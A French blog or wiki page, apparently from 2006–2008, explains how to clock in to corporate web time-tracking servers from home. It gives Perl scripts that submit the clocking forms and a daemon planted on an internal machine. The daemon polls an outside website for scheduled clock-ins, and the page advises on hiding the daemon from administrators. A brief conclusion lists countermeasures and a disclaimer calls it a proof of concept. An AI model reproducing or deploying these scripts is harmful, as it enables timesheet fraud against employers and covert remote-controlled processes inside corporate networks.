Autres
AideEnLigne
CahierDeBrouillon
Présentation
Administration

MesLectures
[Articles publiés]
[Blog Affordance]
[LibreOffice en ligne]
[Journal d'Ophelia]
[Kim Khal]

Informations
[Rue 89]

DNS etc
[Robtex]
Logins
Votre ID: 111
Nom:
Login utilisateur
Mot de passe éditeur

BadgerSurInternet

La pointeuse en entreprise et le pointage sur l'ordinateur.

  Si vous travaillez en entreprise, vous êtes peut-être amenés à pointer plusieurs fois par jour. Souvent, la vieille pointeuse a été remplacée par un terminal électronique devant lequel vous passez votre badge personnel. Ce qui est intéressant ici, c'est le fait, que, souvent, cette saisie par badge est complétée par la possibilité de pouvoir saisir son horaire de pointage sur un ordinateur. Généralement, c'est un navigateur Internet que vous faites pointer sur l'adresse d'un serveur qui vous permet de "badger". Cette possibilité n'est pas obligatoire, mais de nombreuses entreprises la proposent pour satisfaire à la demande du personnel.

Il est bien évident que le serveur qui gère ces pointages "par ordinateur" fait partie de l'intranet de l'entreprise et qu'il n'est visible que depuis celle-ci. Sinon, vous pourriez badger depuis votre domicile, et alors...

ATENTION, Je décline toute responsabilité quant aux conséquences directes ou indirectes résultant de l'utilisation des informations ci-dessous. La description qui suit est donnée purement à titre de Preuve De Concept et dans le seul but d'améliorer la sécurité des procédés de badgeage.

Topologie standard et utilisation détournée.

Le LAN de l'entreprise est très souvent relié à Internet par l'intermédiaire d'un routeur et d'un proxy HTTP, ce dernier permettant de filtrer et/ou d'interdire l'accès à certains sites. Le proxy HTTP et le serveur de badgeage se trouvent donc sur le même LAN, ou sur deux LANs qui communiquent. A partir d'une machine cliente du LAN comme "zombie", vous pouvez donc avoir accès à la navigation sur Internet d'une part, et au serveur de badgeage d'autre part. Vous voyez peut-être ou nous allons en venir.

Nous allons mettre en place, d'une manière simple, un dispositif permettant de badger depuis chez soi. La méthode est d'ecrire l'heure de badgeage quelque part sur un site Internet, puis de faire en sorte que, à l'heure dite, le serveur de badgeage recoive l'information de badgeage comme si on avait badgé devant le terminal de badgeage de l'entreprise.

Matériel et logiciel requis.

La manipulation décrite nécessite l'utilisation de Perl en mode utilisateur (nul besoin d'être root sur Un*x) de préférence sous Linux, mais cela est également possible sous Windows (tm).

Information nécessaires pour badger sur son ordinateur.

Le serveur de badgeage de l'entreprise (horaire.perflex.com) est un serveur sous Windows NT(tm) un équipé du logiciel TysEsa?. Avec ce logiciel, on peut badger depuis le LAN de l'entreprise. Il suffit d'utiliser un navigateur Internet, de le faire pointer sur le serveur de badgeage, puis de rentrer :

  1. son numéro de badge qui est nombre de 6 chiffres noté sur le badge
  2. son identifiant qui est numéro de 4 chiffres. Ce numéro identifie l'agent porteur du badge.

Il existe d'autres logiciels de badgeage en entreprise, comme Kelidiot (tm). Pour celui-ci , la technique est légèrement différente. Le serveur de badgeage de Kelidiot fonctionne également sur un serveur Windows (tm) avec un serveur Java et une base au choix : Firebird, SQL2000 (tm), etc. Pour badger, l'utilisateur doit entrer son nom et un mot de passe, puis cliquer sur un bouton de badgeage. Pour ce logiciel, voir le paragraphe ci-dessous, [Badgeage avec Kelidiot]

La page du server qui s'affiche alors propose de cliquer sur plusieurs boutons, notamment le bouton "Valider", ce dernier simulant le passage du badge devant le lecteur du badge.

On pourra simuler cette opération par quelques lignes de Perl qui remplissent le formulaire du serveur de badgeage et "cliquent" sur bouton désiré :

 ...
 my $ua = new LWP::UserAgent();
 my $matricule='123';
 my $badge='145133';
 my $BadgeServerPage="http://horaire.perflex.com/time/Badgeage.asp?";
 my ($request, $webdoc);
 
 $ua->agent("Microsoft Internet Explorer /5.5");
 $request = POST  "$BadgeServerPage/Matricule=$matricule&
                   NomPrenom=&NumTerm=&NumSite=&
                   TypeTerm=&NumBadge=$badge" ,
    ['selectTouche' => "0",
     'Submit' => "Valider",
     'OK' => "True",
     ];
 $webdoc = $ua->request($request) || die "Ca marche pas.";
 ...

Si on lance ce script depuis la ligne de commande Linux sur la machine "zombie", le badgeage s'effectue correctement sur le serveur de badgeage "horaire". Nous pouvons donc déja badger d'une maniére plus simple qu'avec un navigateur Internet.

Récupération des informations sur Internet.

Les informations de badgeage sont présentes sur la page du site Internet monsite.free.fr/badgeages.html avec le format particulier suivant :

Ravioli 34 123 145133 2005-11-25 08:12

La légende des 6 paramètres est la suivante :

Mot clef Numéro action Matricule Numéro badge Date de badgeage
Ravioli 34 123 145133 2005-11-25 08:12

Pour éviter de laisser sur Internet des informations trop évidentes, on a ici utilisé le mot clef Ravioli qui nous sert d'indicateur de début de ligne. Un autre moyen peut être utilisé. D'autre part il faut éviter d'avoir à exécuter à nouveau une action de badgeage déjà traitée. Pour cela chaque ligne d'action à effectuer comprend un numéro d'action unique (Numéro action dans le tableau ci-dessus). Ce numéro permet de programmer plusieurs badgeage pour les heures à venir et pour plusieurs agents.

Il ne reste plus qu'à récupérer les heures de badgeage désirées sur Internet, puis lancer le script ci-dessus en lui fournissant les informations receuillies :

 ...
 my ($request, $webdoc, $s, $m, $c, $t1, $t2);
 my $InfoServerPage="http://monsite.free.fr/badgeages.html"

 $request = new HTTP::Request('GET' => "$InfoServerPage");
 $webdoc = $ua->request($request) || die "Ca marche pas";
 $vara=$webdoc->content;
 while  ($vara =~ /Ravioli (\d+) (\d+) (\d+) (\d\d\d\d-\d\d-\d\d\s\d\d:\d\d)/g ) {
     next if (exists $htask{$1});
     DoIt($2, $3, $4);  #realise le badgeage
     MarkTask($1, $4);  #marque la tache comme realisee
 } 
 ...

La subroutine DoIt? forke, le processus fils effectue un sleep en attendant l'heure de badgeage. A la fin du sleep, le badgeage proprement dit est alors réalisé en effectuant un POST sur le serveur de badgeage comme décrit ci-dessus.

Pour information, la source du programme Perl complet est [ici]. Sous Un*x, ce programme doit etre lancé en arrière plan. Avec la commande ps, un administrateur peu averti ne notera pas vraiment la présence du programme. Par contre, la commande top n'est pas abusée.

Pour être sûr de ne pas être repéré, ce programme devra aussi se contenter de ne scruter la page sur le serveur Internet que de temps à autres. Par conséquent, il faudra penser à mettre en place les données du badgeage suffisamment de temps à l'avance pour que l'info soit prise en compte. L'ordre de grandeur est de une fois toutes les 10 minutes.

Badgeage avec Kelidiot

Le logiciel Kelidiot fonctionne differement de celui de Tysesa. Le serveur écoute en http sur le port 8089. Il faut permettre les cookies en local. Quand on se logge avec son nom et son mot de passe, le message de retour contient un jeton, noté JETON_INTRANET. Ce jeton de session doit être utilisé pour badger.

 
 $ua     = new LWP::UserAgent();
 $request= new HTTP::Request;
 $request = POST "http://badge.platex.com:8089/homepage" ,
 ['ACTION' => "ACTION_VALIDER_LOGIN",
  'login' => "JOLISSE",
  'password' => "AliX67$",
  ] ;
 $_=$reponse->content;
 /id=\"JETON_INTRANET\" value=\"([0-9]*)\"/;
 $jeton=$1;
  

Dans la requête de badgeage proprement dite, il faut utiliser le jeton de session qui permet en quelque sorte d'être authentifié.

 
 $request = POST "http://badge.platex.com:8089/gtp/badge" ,
 ['ACTION' => "BADGER",
  'ACTION_SWITCH' => "",
  'module' => "gtp.name",
  'choixApplication' => "",
  'application' => "1",
  'JETON_INTRANET' => $jeton
  ] ;
 

Par souci de clarté, on termine la session proprement. On notera que, pour les trois requêtes, une adresse différente est utilisée.

 
 $request = POST "http://badge.platex.com:8089/global" ,
 ['ACTION' => "QUITTER",
  'ACTION_SWITCH' => "",
  'module' => "gtp.name",
  'choixApplication' => "",
  'application' => "1",
  ];
 

Sur le site Internet ou se trouvent les informations et horaires de badgeage, on aura par exemple :

Mot clef Numéro action Nom Mot de passe Date de badgeage
Pistache 22 JOLISSE AliX67?$ 2008-05-04 17:12:22
Pistache 23 JOLISSE AliX67?$ 2008-05-05 08:22:34

Pour ce qui concerne la mise en place du daemon qui effectue les badgeages, on utilise de la même manière une tâche par horaire de badgeage qui se met en attente jusqu'à l'heure de badgeage, le logiciel autobadge.pl pour Kelidiot se trouve [ici]. Encore un fois, je décline toute responsabilité sur l'usage qui pourrait être fait de ce logiciel.

Conclusions

Badger depuis Intranet pose de gros problème d'utilisation. On voit ici très bien l'usage frauduleux qui pourrait en être fait. Cette technique est hélas commune à toutes les saisies par formulaires dans un navigateur Internet. Plusieurs solutions existent pour éviter tout abus :

  • Supprimer le badgeage a partir d'un navigateur Internet. De fait, il suffit d'arrêter le service httpd sur le serveur de badgeage. Mesure drastique.
  • On pourrait envisager de renforcer la validation du badgeage sur le serveur de badgeage en utilisant par exemple la recopie d'un image chiffrée qui est tirée au hasard par le serveur de badgeage. C'est la technique CAPTCHA. (Exemples : [CAPTCHA en ASP], [Formulaire Anti-SPAM], etc. L'inconvénient est qu'une étape de saisie supplémentaire doit être effectuée par l'agent.
  • Obliger l'agent à s'identifier auprès du proxy HTTP : ce n'est pas une solution satisfaisante, car, moyennant quelques modifications du programme autobadge.pl on pourrait facilemennt s'identifier (login, mot de passe) auprès d'un proxy HTTP, en utilisant la méthode décrite sur cette page.

Copyright Cmic -- 2006-01-12 22:34:03

Mis à jour Michel Marcon (aka Cmic) -- 2008-05-06 10:06:40